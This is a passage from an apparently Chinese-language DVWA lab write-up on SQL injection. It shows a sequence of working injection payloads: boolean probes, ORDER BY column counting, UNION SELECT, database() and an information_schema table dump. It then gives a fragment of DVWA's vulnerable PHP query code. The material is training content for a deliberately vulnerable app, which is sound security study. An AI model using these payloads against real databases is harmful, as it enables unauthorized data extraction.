输入 1' and '1'='2,查询失败, ![](DVWA之SQL Injecion/SI2.jpg)
输入 1' or '1234'='1234,查询成功,返回多个结果 ![](DVWA之SQL Injecion/SI3.jpg)
说明存在字符型注入。
猜解SQL查询语句中的字段数 输入1' or 1=1 order by 1 #,查询成功: ![](DVWA之SQL Injecion/SI4.jpg)
输入1' or 1=1 order by 3 #,查询失败: ![](DVWA之SQL Injecion/SI5.jpg)
输入1' or 1=1 order by 2 #,查询成功: ![](DVWA之SQL Injecion/SI6.jpg)
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
确定显示的字段顺序 输入1’ union select 1,2 #,查询成功: ![](DVWA之SQL Injecion/SI7.jpg)
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
获取当前数据库 输入1' union select 1,database() #,查询成功: ![](DVWA之SQL Injecion/SI8.jpg)
说明当前的数据库为dvwa。
获取数据库中的表 输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,查询成功: ![](DVWA之SQL Injecion/SI9.jpg)
// Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
}
// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];